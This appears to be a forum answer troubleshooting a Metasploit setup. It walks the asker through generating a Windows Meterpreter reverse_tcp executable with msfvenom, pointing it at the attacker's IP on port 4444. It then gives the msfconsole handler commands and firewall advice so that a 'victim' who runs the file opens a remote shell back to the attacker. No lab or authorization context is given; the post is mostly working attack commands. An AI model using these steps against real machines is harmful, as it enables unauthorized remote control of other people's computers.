Doing that you are setting Metasploit into a "listening" state. Now you are missing the other part. The "victim" should execute the generated executable file and if the victim machine is able to connect to your Metasploit machine, the Meterpreter session will be opened. If the Metasploit machine is behind a firewall, you should open the port from your firewall to the Metasploit machine. Other thing I saw bad on your screenshots is LHOST is not the same on your executable creation and setting the LHOST on the Meterpreter payload. The ip should be the same, is the ip of your Metasploit machine. From your example I guess your ip 124.x.x.x is your Metasploit machine ip.
Anyway, I think is easier to create the executable file using msfvenom. Doing this (outside msfconsole):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=124.x.x.x LPORT=4444 -f exe > /some/path/hehe.exe
/some/path/ with a real existing path on your Linux to deploy there the executable file.
Then on Metasploit you should execute only this:
set payload windows/meterpreter/reverse_tcp
set lhost 124.x.x.x
After this, Metasploit is ready to receive connections. Then execute the executable file on victim machine and the Meterpreter session will be opened.
I insist, is very important that the victim machine must be able to reach the ip of the Metasploit machine on the port set (4444 on your example).